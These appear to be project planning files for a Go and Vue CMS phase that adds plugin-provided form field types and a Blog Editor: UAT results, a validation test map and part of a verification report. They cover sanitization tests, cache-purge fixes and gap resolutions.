||||
|
||||
[testing complete]
|
||||
|
||||
## Tests
|
||||
|
||||
### 1. Postgres suites on a Docker host
|
||||
expected: bash scripts/check-phase16.2.sh postgres passes. This is the end-to-end proof for the CR-01 and WR-04 Load changes and for the category save.
|
||||
result: pass
|
||||
reported: "Re-run after 16.2-07 (gate2.log, 2026-10-10 18:44): phase16.2 postgres passed — 293 cabana tests and 78 sm-journal-plugin tests; full gate \'Phase 16.2 gate passed\', exit 0. Was: TestPhase10OpenAPIConformance had no case for GET /field-types (G-16.2-1, fixed in 11be08d)."
|
||||
|
||||
### 2. D-19 category content on UAT (WINDOWS 18)
|
||||
expected: Change one word in a category body and save. No removal notice appears, and the site shows the change.
|
||||
result: pass
|
||||
reported: "Re-run on v0.1.20 with the site cache purge (16.2-07 Task 6): user changed \'zajmują ważne miejsce\' to \'zajmują bardzo ważne miejsce\' on category 2, no removal notice, change visible on the first view of /cordyceps by reload and menu link. category-purged and category-fresh pass; phrase found once in the server-rendered page. Was: Nitro swr cache served the old page (G-16.2-2)."
|
||||
|
||||
### 3. Untouched re-save after the next deploy (with the CR-01/WR-04 fixes)
|
||||
expected: Re-save posts 1 and 64 untouched. The md5 SELECT is unchanged (1: a026264105f900175b9770e637e5ec5c both columns; 64: 0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c) and updated_at moves.
|
||||
result: pass
|
||||
reported: "Re-run on v0.1.20 (includes CR-01/WR-04), 16.2-07 Task 6: user re-saved posts 1 and 64 untouched, no removal notice. posts-unchanged (md5 equal to the snapshot, updated_at moved past the 17:57:57Z restart) and translations-unchanged pass."
|
||||
|
||||
### 4. Preview pane in a real browser (quick 261010-iwu)
|
||||
expected: 50/50 split; the pane wraps below the editor when the element is narrower than about 720px; a <script> in a raw HTML block stays inert; YouTube thumbnails load; relative /storage images resolve.
|
||||
result: pass
|
||||
|
||||
### 5. Accept the sandboxed preview iframe as an exception to plan 02's "no iframe in the admin"
|
||||
expected: The human accepts the empty-sandbox srcdoc preview, or asks for a change.
|
||||
result: pass
|
||||
|
||||
## Summary
|
||||
|
||||
total: 5
|
||||
passed: 5
|
||||
issues: 0
|
||||
pending: 0
|
||||
skipped: 0
|
||||
blocked: 0
|
||||
|
||||
## Gaps
|
||||
|
||||
- gap_id: G-16.2-1
|
||||
truth: "bash scripts/check-phase16.2.sh postgres passes on a Docker host"
|
||||
status: resolved
|
||||
reason: "Observed by Claude running the postgres stage: TestPhase10OpenAPIConformance fails: admin route GET /field-types (added in 16.2) has no conformance case in modules/cabana/openapi_conformance_test.go; the Journal Postgres suites never ran because the stage aborted"
|
||||
severity: major
|
||||
test: 1
|
||||
root_cause: "Two 16.2 test defects, hidden because both checks live in Docker-gated packages and the 16.2 execution host had no Docker: (1) TestPhase10OpenAPIConformance has no case for the two routes plan 16.2-01 added to phase09Routes/admin.json, GET /field-types and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload (map order decides which is reported); (2) sm-journal-plugin TestJournalSVGEmbed still asserts post content type mlmarkdown, but 16.2-03 changed it to mlblogeditor. The gate's go stage (FRAMEWORK_RUN) never runs the route check. All four Journal Postgres suites named in Test 1 and the rest of cabana pass on a Docker host."
|
||||
artifacts:
|
||||
- path: "modules/cabana/openapi_conformance_test.go"
|
||||
issue: "no conformance case for GET /field-types or the field upload route; conformPlugin registers no plugin field type; route-key check runs after the testcontainers setup"
|
||||
- path: "../sm-journal-plugin/plugin_test.go"
|
||||
issue: "TestJournalSVGEmbed lines 122-123 expect type: mlmarkdown"
|
||||
- path: "scripts/check-phase16.2.sh"
|
||||
issue: "FRAMEWORK_RUN does not include the route-coverage check"
|
||||
- path: ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md"
|
||||
issue: "new-route checklist omits openapi_conformance_test.go"
|
||||
missing:
|
||||
- "Conformance case for GET /field-types (200, cabana.FieldTypesResponse), with conformPlugin implementing pact.HasFormFieldTypes"
|
||||
- "Conformance case for the field upload route (201, cabana.Envelope-cabana_FieldUploadResponse, multipart file)"
|
||||
- "TestJournalSVGEmbed expects type: mlblogeditor"
|
||||
- "Route-coverage check runnable without Docker and included in the gate's go stage"
|
||||
debug_session: .planning/debug/postgres-gate-field-types-conformance.md
|
||||
|
||||
- gap_id: G-16.2-2
|
||||
truth: "Changing one word in a category body and saving shows no removal notice, and the site shows the change"
|
||||
status: resolved
|
||||
reason: "User reported: something is wrong. Updated content in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2 (\"Te grzyby, szczególnie\" changed into \"Te grzyby, a szczególnie\") and i see the change in backend even after refresh but not on frontend"
|
||||
severity: major
|
||||
test: 2
|
||||
root_cause: "Not a 16.2 save defect. DB row (category 2, content) and the Journal API both hold the new text. The public page was served from the host Nuxt app's Nitro swr route cache (nuxt.config.ts routeRules '/**': { swr: 300 }, per Phase 16 D-07): /cordyceps was cached at 14:59:08 UTC, 40 s before the first save, and all post-save views fell inside the 300 s fresh window. Nothing purges the cache on admin save; after expiry the first view still gets stale content and triggers revalidation. At 15:25 UTC the page served the new text with no intervention. The UAT expectation omitted the cache window."
|
||||
artifacts:
|
||||
- path: "sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts"
|
||||
issue: "swr 300 / 120 route cache with no purge path on admin save (by design, Phase 16 D-07)"
|
||||
- path: ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-UAT.md"
|
||||
issue: "Test 2 expectation does not account for the swr TTL"
|
||||
missing:
|
||||
- "User decision 2026-10-10: fix in 16.2. A Journal post/category save clears the matching host Nuxt page cache entries (pages, /blog lists, _payload.json) so the site shows the edit on the next view"
|
||||
debug_session: .planning/debug/category-content-not-on-site.md
|
||||
@@ -0,0 +1,113 @@
|
||||
---
|
||||
phase: "16.2"
|
||||
slug: "plugin-provided-field-types-and-the-blog-editor-formwidget"
|
||||
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
|
||||
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
|
||||
status: draft
|
||||
nyquist_compliant: true
|
||||
wave_0_complete: true
|
||||
created: "2026-10-09"
|
||||
revised: "2026-10-10"
|
||||
---
|
||||
|
||||
# Phase 16.2 — Validation Strategy
|
||||
|
||||
> Per-phase validation contract for feedback sampling during execution.
|
||||
|
||||
---
|
||||
|
||||
## Test Infrastructure
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| **Framework** | Go `testing` (+ testify); admin vitest 3.2.7 + happy-dom; sm-journal-plugin vitest 3.2.7 (new, Wave 0); vue-journal-layer `node --test` |
|
||||
| **Config file** | `admin/vitest.config.ts`; `../sm-journal-plugin/vitest.config.ts` (Wave 0); `../vue-journal-layer/package.json` `test` script |
|
||||
| **Quick run command** | `go test -short ./modules/pact ./modules/cabana -run 'FieldType\|Plugin'` |
|
||||
| **Full suite command** | `go vet ./... && go test -short ./...` (summercms.go); `npm --prefix admin test`; `go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -short ./... && npm --prefix ../sm-journal-plugin test`; `npm --prefix ../vue-journal-layer test` |
|
||||
| **Estimated runtime** | ~120 seconds |
|
||||
|
||||
---
|
||||
|
||||
## Sampling Rate
|
||||
|
||||
- **After every task commit:** `go vet` + `go test -short` for the touched packages, plus the touched vitest file
|
||||
- **After every plan wave:** every full-suite command above
|
||||
- **Before `/msd-verify-work`:** full suites green, `bash scripts/check-admin-dist.sh`, `bash scripts/check-admin-openapi.sh --check`, the plugin `check-dist.sh`, `go test ./cmd/summer -run TestDocsTree`, and the human Docker-host run of the testcontainers suites
|
||||
- **Max feedback latency:** 120 seconds
|
||||
|
||||
---
|
||||
|
||||
## Per-Task Verification Map
|
||||
|
||||
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|
||||
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
|
||||
| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-11 | T-16.2 boot | Alias pattern, core and cross-plugin clash (both IDs named), element prefix and reserved tag, missing Decode, missing AdminFS, asset path and extension fail boot | unit | `go test -count=1 -run '^TestFieldTypeRegistry$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.1 | — | Option key pattern, field-key clash and repeats fail boot; an undeclared fields.yaml key fails naming field and key | unit | `go test -count=1 -run '^TestFieldTypeOptions$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-12 | — | General keys accepted, core type keys refused, option values of every YAML kind decoded, CheckOptions error surfaced; CompileForm core-only; settings and relation forms refuse plugin types | unit | `go test -count=1 -run '^TestFieldTypeCompile$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T2, 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.2 / D-10 | XSS | FormFieldError on the default or a non-default locale → 422 on the field, no write, no notices; other errors and a non-string translatable value → opaque 500 | unit | `go test -count=1 -run '^TestFieldTypeDecode$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-10 | — | Notices → meta.notices with field and locale, localized through phrasebook (Count plural, Params), ≤ 10 per field and locale, ≤ 500 runes; no notices key when none | unit | `go test -count=1 -run '^TestFieldTypeNotices$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-03-T1, 16.2-06-T2 | 03, 06 | 2, 4 | D-10 / D-02 | XSS | Journal Decode strips per locale and reports; clean HTML byte-identical with no notice; report empty exactly when nothing changed; notices only when stripped | unit | `go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorDecode\|TestBlogEditorNotices\|TestSanitizeHTMLReport)$' ./classes/` | ✅ | ✅ green |
|
||||
| 16.2-03-T3, 16.2-06-T2 | 03, 06 | 2, 4 | D-05 | XSS | Editor corpus passes SanitizeHTML byte for byte; the four editor rules admit nothing else (other providers, malformed ids, data attributes elsewhere, iframe stripped) | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestEditorOutputPassesPolicy$' ./classes/` | ✅ | ✅ green |
|
||||
| 16.2-01-T4, 16.2-06-T3 | 01, 06 | 1, 4 | D-10 | XSS | Save notices render as literal text under the field (aria-describedby) and in the toast; stored value reloaded into the element | vitest | `npm --prefix admin test -- tests/form/FormField.test.ts tests/form/formState.test.ts tests/form/PluginField.test.ts` | ✅ | ✅ green |
|
||||
| 16.2-01-T3, 16.2-06-T1 | 01, 06 | 1, 4 | D-03 | — | Untouched value writes and reports nothing; one changed locale writes only that locale; canonical JSON comparison; create never skips | unit | `go test -count=1 -run '^TestFieldTypeUntouched$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.3 | — | Load per locale; nil Load keeps the stored value; Load errors (FormFieldError included) are opaque 500 | unit | `go test -count=1 -run '^TestFieldTypeLoad$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.4 | — | List column uses ListValue with the request ctx; nil ListValue keeps the raw value | unit | `go test -count=1 -run '^TestFieldTypeListValue$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-14 | — | FieldWritesFromContext copies; false outside a save; Before and After hooks of create and update see the same writes | unit | `go test -count=1 -run '^TestFieldTypeWrites$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-13 | — | GET /field-types sorted, versioned asset URLs under the admin prefix, [] lists, 401 without a backend session | unit | `go test -count=1 -run '^TestFieldTypesRoute$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-01-T2, 16.2-01-T4 | 01 | 1 | D-13 / D-15 | — | Schema/OpenAPI/TS in sync; admin dist current | unit + script | `bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh` | ✅ | ✅ green |
|
||||
| 16.2-01-T2, 16.2-01-T4, 16.2-06-T1, 16.2-06-T3 | 01, 06 | 1, 4 | D-13 / D-03 | — | PluginField binds value, takes summer-change, never re-sets an echoed value; fieldTypes loads each script once, global styles stay on, nothing rejects; registry renders PluginField / MLPluginField | vitest | `npm --prefix admin test -- tests/form/PluginField.test.ts tests/app/fieldTypes.test.ts tests/form/registry.test.ts tests/list/ListView.test.ts` | ✅ | ✅ green |
|
||||
| 16.2-01-T3, 16.2-03-T2, 16.2-06-T2 | 01, 03, 06 | 1, 2, 4 | D-18 | upload | Upload 201, 403, 401, 404 (core field, no Upload, unknown field, context refusal, unknown controller), 413, 422 (FormFieldError, missing/misnamed/extra part, not multipart), opaque 500; Journal sniffing refuses disguised files and svg; safe names; StoreMedia never overwrites | unit | `go test -count=1 -run '^TestFieldUpload$' ./modules/cabana && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorUpload\|TestStoreMedia)$' ./classes/` | ✅ | ✅ green |
|
||||
| 16.2-03-T1, 16.2-06-T1 | 03, 06 | 2, 4 | D-07 | — | HTML served verbatim (leading white space, comment); markdown served as content_html, empty falls back to FormatHTML; nil and empty pointers give "" | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorLoad$' ./classes/` | ✅ | ✅ green |
|
||||
| 16.2-03-T1, 16.2-06-T2 | 03, 06 | 2, 4 | D-02 / D-14 | — | Posts hooks: default write copied to content_html, non-default writes through the TranslationWriter, nothing for untouched content or without a writer | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestPostsEditorHooks$' ./controllers/` | ✅ | ✅ green |
|
||||
| 16.2-02-T2, 16.2-02-T3, 16.2-06-T1, 16.2-06-T3 | 02, 06 | 1, 4 | D-03 / D-04 | XSS | Element returns an untouched value byte for byte through Source, tabs, preview and reattach; raw HTML cards are escaped text; every raw tag rule; figures; links limited to http, https, mailto, relative; block reuse after edit, deletion and insertion | vitest | `npm --prefix ../sm-journal-plugin test` | ✅ | ✅ green |
|
||||
| 16.2-02-T3 | 02 | 1 | D-05 | — | Committed editor corpus equals the editor's current output | vitest | `npm --prefix ../sm-journal-plugin test -- tests/blogeditor/corpus.test.ts` | ✅ | ✅ green |
|
||||
| 16.2-03-T1, 16.2-06-T1 | 03, 06 | 2, 4 | todo resave / D-03 | — | Untouched GET-then-PUT of an HTML and a markdown post byte-identical with no notices and no translated content added; a clean edited save stores equal content and content_html per locale | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run TestPostsAdminResaveKeepsHTML .` | ✅ | ✅ green (Docker host, gate postgres stage, 16.2-07) |
|
||||
| 16.2-03-T1 | 03 | 2 | D-10 / D-02 | XSS | Admin post save strips unsafe markup in both columns per locale and reports it (no 422) | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run TestPostsAdminSaveSanitizesHTML .` | ✅ | ✅ green (Docker host, gate postgres stage, 16.2-07) |
|
||||
| 16.2-03-T2, 16.2-06-T2 | 03, 06 | 2, 4 | D-19 / D-10 | XSS | Category content: untouched saves keep imported markup and NULL, clean edit as sent, unsafe edit stripped with notices (no 422), blank to NULL, editor upload under journal/categories | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestCategoriesAdminContent\|TestCategoriesAdminBlogEditor)$' .` | ✅ | ✅ green (Docker host, gate postgres stage, 16.2-07) |
|
||||
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12 / D-18 | upload | Real-database create, show, untouched and changed update, refused update rolls back, upload in and out of the FormExtendQuery scope | integration (Postgres) | `go test -count=1 -run '^TestFieldTypeSavePostgres$' ./modules/cabana` | ✅ | ✅ green (Docker host, gate postgres stage, 16.2-07) |
|
||||
| 16.2-04-T1, 16.2-06-T3 | 04, 06 | 2, 4 | D-17 / D-05 | iframe | Embed allowlist and id regex; sanitize first, expand last at each sink, never in payload transforms; stored iframe stripped; corpus safe under the mirror; Go negatives stripped the same way; corpus copies identical | node:test + cmp | `npm --prefix ../vue-journal-layer test && cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` | ✅ | ✅ green |
|
||||
| 16.2-01-T2, 16.2-06-T3 | 01, 06 | 1, 4 | docs | — | README/docs identifiers exist; plugin dist current | unit + script | `go test -count=1 ./cmd/summer -run TestDocsTree && bash ../sm-journal-plugin/scripts/check-dist.sh` | ✅ | ✅ green |
|
||||
| 16.2-06-T3 | 06 | 4 | all | T-16.2-29 | Phase gate: every runnable stage fail-closed, detectors self-tested | script | `bash scripts/check-phase16.2.sh --self-test && bash scripts/check-phase16.2.sh --all` | ✅ | ✅ green |
|
||||
| 16.2-07-T1 | 07 | 5 | D-19 | T-16.2-36, T-16.2-38 | Tracer: a category admin update sends one authorized purge after its commit; on a built swr site a cached page shows a change on the first request after the purge; unauthenticated, wrong-token and proxied purges refused | integration (Postgres) + e2e | `go -C ../sm-journal-plugin test -count=1 -run '^TestCategoriesAdminPurgesSiteCache$' . && pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/purge-check.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --kind post --slug hello-acme --path /blog/hello-acme` | ✅ | ✅ green |
|
||||
| 16.2-07-T2 | 07 | 5 | D-19 | T-16.2-37, T-16.2-40, T-16.2-42 | Every admin post and category write purges after commit; boot refuses bad purge config; route-cached pages and 304s carry max-age=0; second purge after re-cache runs; payload purged; no-token server 404 | integration (Postgres) + e2e | `go -C ../sm-journal-plugin test -count=1 -run '^(TestCategoriesAdminPurgesSiteCache\|TestPostsAdminPurgesSiteCache)$' . && bash scripts/check-phase16.2.sh cache` | ✅ | ✅ green |
|
||||
| 16.2-07-T3 | 07 | 5 | D-13, D-18 | T-16.2-44 | Every inventoried admin route has a conformance case, checked without Docker; GET /field-types and the field upload route decode into their documented types with unknown fields disallowed and match admin.json; TestJournalSVGEmbed expects mlblogeditor | unit + integration (Postgres) | `go test -count=1 -short -run '^TestPhase10ConformanceInventory$' ./modules/cabana && go test -count=1 -run '^TestPhase10OpenAPIConformance$' ./modules/cabana` | ✅ | ✅ green |
|
||||
| 16.2-07-T3 | 07 | 5 | D-19 | T-16.2-37, T-16.2-39, T-16.2-41 | Purger config table, request contract, Warn on 500/401, 2 s timeout, cancelled parent context, no token in logs; layer auth, purge, body parsing and revalidation | unit + node:test | `go -C ../sm-journal-plugin test -count=1 -run '^(TestSiteCachePurgeConfig\|TestSiteCachePurgeRequest)$' ./classes/ && npm --prefix ../vue-journal-layer test` | ✅ | ✅ green |
|
||||
| 16.2-07-T3 | 07 | 5 | all | T-16.2-44 | Full gate including the Docker suites and the cache stage | script | `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all` | ✅ | ✅ green |
|
||||
| 16.2-07-T4 | 07 | 5 | release | T-16.2-45 | Release gate: clean trees, nothing behind origin, proposed tags absent on origin, human decision | script + human | `bash scripts/check-phase16.2.sh --self-test && test -z "$(git status --porcelain -- modules admin docs scripts cmd)" && test -z "$(git ls-remote --tags origin refs/tags/v0.1.20)"` | ✅ | ⬜ pending |
|
||||
| 16.2-07-T5 | 07 | 5 | release | T-16.2-36, T-16.2-37, T-16.2-45 | UAT deploy: smoke, binary sha256 equal, both programs running, tokens equal and never printed, on-server purge 200 with purged >= 1, nginx POST 403, no-token 401 | script (ssh) | Task 5 verify commands in 16.2-07-PLAN.md (smoke ok, deploy-ok, token-match, purge-ok) | ✅ | ⬜ pending |
|
||||
| 16.2-07-T6 | 07 | 5 | D-03, D-19 | T-16.2-46 | UAT Test 3 untouched re-saves byte-identical; UAT Test 2 category edit visible on the next view after a logged purge | psql (read-only) + human | Task 6 verify commands in 16.2-07-PLAN.md (posts-unchanged, translations-unchanged, category-purged, category-fresh) | ✅ | ⬜ pending |
|
||||
|
||||
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky or manual (Docker host)*
|
||||
|
||||
---
|
||||
|
||||
## Wave 0 Requirements
|
||||
|
||||
- [x] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, vitest + happy-dom setup, `scripts/check-dist.sh` (plan 02)
|
||||
- [x] `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` (plan 02) and its layer copy `../vue-journal-layer/tests/fixtures/editor-corpus.json` (plan 04)
|
||||
- [x] `../sm-journal-plugin/classes/editor_policy_test.go` (plan 03, extended in plan 06)
|
||||
- [x] `modules/cabana/field_type_test.go` — registry, options, compile, decode, notices, skip, load, list, writes, routes, upload (plan 06)
|
||||
- [x] `admin/tests/form/PluginField.test.ts` — stub custom element (plan 01, extended in plan 06)
|
||||
- [x] `../vue-journal-layer/tests/embeds.test.ts` (plan 04, extended in plan 06)
|
||||
|
||||
---
|
||||
|
||||
## Manual-Only Verifications
|
||||
|
||||
| Behavior | Requirement | Why Manual | Test Instructions |
|
||||
|----------|-------------|------------|-------------------|
|
||||
| Editing imported posts on UAT | Phase goal | Real browser editing of live posts | Open an imported post, save untouched (no notice, md5 unchanged), then edit and save; compare columns |
|
||||
| Strip and report on UAT | D-10 (amended) | Needs the admin session and a real save | Add a harmless style block and onclick in the source tab of an unpublished test post, save: it succeeds, the notice names both, the stored columns are equal and contain neither (plan 05 Task 3) |
|
||||
|
||||
---
|
||||
|
||||
## Validation Sign-Off
|
||||
|
||||
- [x] All tasks have `<automated>` verify or Wave 0 dependencies
|
||||
- [x] Sampling continuity: no 3 consecutive tasks without automated verify
|
||||
- [x] Wave 0 covers all MISSING references
|
||||
- [x] No watch-mode flags
|
||||
- [x] Feedback latency < 120s for the Docker-free stages; the Docker suites run in the gate's postgres stage on a Docker host (`PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all`, 16.2-07)
|
||||
- [x] nyquist_compliant set to true in the frontmatter
|
||||
|
||||
**Approval:** automated map complete (plan 06, 2026-10-10); the Docker-host suites are automated in the gate's postgres stage since plan 07 (2026-10-10); the UAT rows above stay manual
|
||||
@@ -0,0 +1,267 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
verified: 2026-10-10T20:10:00Z
|
||||
status: passed
|
||||
score: 14/14 must-haves verified
|
||||
covered_files:
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-PLAN.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-PLAN.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-PLAN.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-PLAN.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-SUMMARY.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-PLAN.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md
|
||||
- admin/src/app/fieldTypes.ts
|
||||
- admin/src/components/form/fields/MLPluginField.vue
|
||||
- admin/src/components/form/fields/PluginField.vue
|
||||
- admin/src/components/form/registry.ts
|
||||
- admin/src/views/FormView.vue
|
||||
- docs/backend/field-types.md
|
||||
- modules/cabana/crud.go
|
||||
- modules/cabana/field_type.go
|
||||
- modules/cabana/field_type_upload.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/openapi_conformance_test.go
|
||||
- modules/cabana/relation_field.go
|
||||
- modules/cabana/tx_context.go
|
||||
- modules/pact/capabilities.go
|
||||
- scripts/check-phase16.2.sh
|
||||
covered_digest: "v2:sha256:1172372f0148895ed07ee76d9d0d9996ba7497c35d22ad3443e564c7a817e5d4"
|
||||
behavior_unverified: 0
|
||||
overrides_applied: 0
|
||||
re_verification: "2026-10-10, after gap closure plan 16.2-07 (G-16.2-1, G-16.2-2) and human UAT on the v0.1.20 UAT deploy; manual re-verification because msd-core 1.14.0 loops stale/human_needed after gap closure"
|
||||
human_verification_resolved:
|
||||
- test: "On a host with Docker, run `bash scripts/check-phase16.2.sh postgres` from summercms.go"
|
||||
result: pass
|
||||
evidence: "Full gate at ee62410 (gate2.log, 2026-10-10 18:44): phase16.2 postgres passed, 293 cabana and 78 sm-journal-plugin top-level tests; 'Phase 16.2 gate passed', exit 0. No non-planning change since. UAT Test 1"
|
||||
- test: "D-19 on UAT: change one word of a category's content in the Blog Editor and save"
|
||||
result: pass
|
||||
evidence: "16.2-07 Task 6 on v0.1.20: category 2 saved with no removal notice, edit visible on the first view of /cordyceps; category-purged and category-fresh pass. UAT Test 2"
|
||||
- test: "After the next deploy, save post 1 and post 64 untouched again and re-run the read-only md5 SELECT"
|
||||
result: pass
|
||||
evidence: "16.2-07 Task 6 on v0.1.20 (includes CR-01/WR-04): posts-unchanged and translations-unchanged pass, updated_at moved past the 17:57:57Z restart. UAT Test 3"
|
||||
- test: "Blog Editor preview pane in a real browser"
|
||||
result: pass
|
||||
evidence: "UAT Test 4"
|
||||
- test: "Judgment-tier prohibition: sandboxed preview iframe accepted as an exception"
|
||||
result: pass
|
||||
evidence: "Human accepted. UAT Test 5"
|
||||
---
|
||||
|
||||
# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget Verification Report
|
||||
|
||||
**Phase Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content (beyond the current markdown field or a plain rich editor) that edits imported HTML posts losslessly.
|
||||
**Verified:** 2026-10-10T17:05:00Z
|
||||
**Status:** passed
|
||||
**Re-verification:** Yes, 2026-10-10 after gap closure 16.2-07 and UAT (see Re-verification below)
|
||||
|
||||
ROADMAP lists no success criteria and REQUIREMENTS.md has none for this phase, so the must-haves are the six plans' frontmatter truths, keyed to CONTEXT decisions D-01 to D-19. They are merged into 14 truths below.
|
||||
|
||||
## Goal Achievement
|
||||
|
||||
### Observable Truths
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 1 | D-11: a plugin registers a value-bearing field type under a short alias; duplicate aliases across plugins and clashes with core types fail boot | ✓ VERIFIED | `pact.HasFormFieldTypes` (capabilities.go:491). `compileFieldTypes` (field_type.go:151) checks the alias pattern and core-type clash, and names both owners on a cross-plugin clash. It is called from `Activate` (http.go:99) and passed to `compileRegistryWithTypes`. `TestFieldTypeRegistry` and `TestFieldTypeCompile` pass in the gate |
|
||||
| 2 | D-12.1: plugin fields accept the general keys plus the type's Options; other keys and CheckOptions errors fail boot | ✓ VERIFIED | `pluginFieldKeys` and `fieldKeyAllowed`, plus `compilePluginField` running CheckOptions. `TestFieldTypeOptions` passes |
|
||||
| 3 | D-12.2 and D-10 (framework): Decode runs inside the save transaction per locale; FormFieldError becomes 422 with no write; other errors become an opaque 500; notices become meta.notices only when present | ✓ VERIFIED | crud.go:609-636: lift, then loadRecord, then `decodePluginFields`, then Fill, all inside `s.transaction`. crud.go:733 calls `localizeNotices`, and `RecordMeta.Notices` is `json:"notices,omitempty"`. WR-06 adds a 422 for a non-string translatable value. `TestFieldTypeDecode` and `TestFieldTypeNotices` pass |
|
||||
| 4 | D-12.3 and D-12.4: Show and the save response serve plugin fields through Load (per locale); list columns use ListValue | ✓ VERIFIED | `hydratePluginFields` is called in Show (crud.go:447) and in save (crud.go:728). `projectRowCtx` calls `ListValue` (http.go:1114). `TestFieldTypeLoad` and `TestFieldTypeListValue` pass |
|
||||
| 5 | D-03 (server half): on update, a value equal to the served value is neither decoded nor written | ✓ VERIFIED | `decodeOne` compares with `servedFieldValue` (Load over the loaded record) through `sameJSON` and skips. An untouched default-locale value is deleted from Projected. The behavioural test `TestFieldTypeUntouched` passes |
|
||||
| 6 | D-14 and D-06: translatable plugin types use cabana's ML lift, translation writer and hydrate; Form hooks read writes through `FieldWritesFromContext` | ✓ VERIFIED | Translations are decoded in place on the `mlValue` items that `applyMLTranslations` writes. `withFieldWrites` (crud.go:636) feeds `FieldWritesFromContext`. `TestFieldTypeWrites` passes |
|
||||
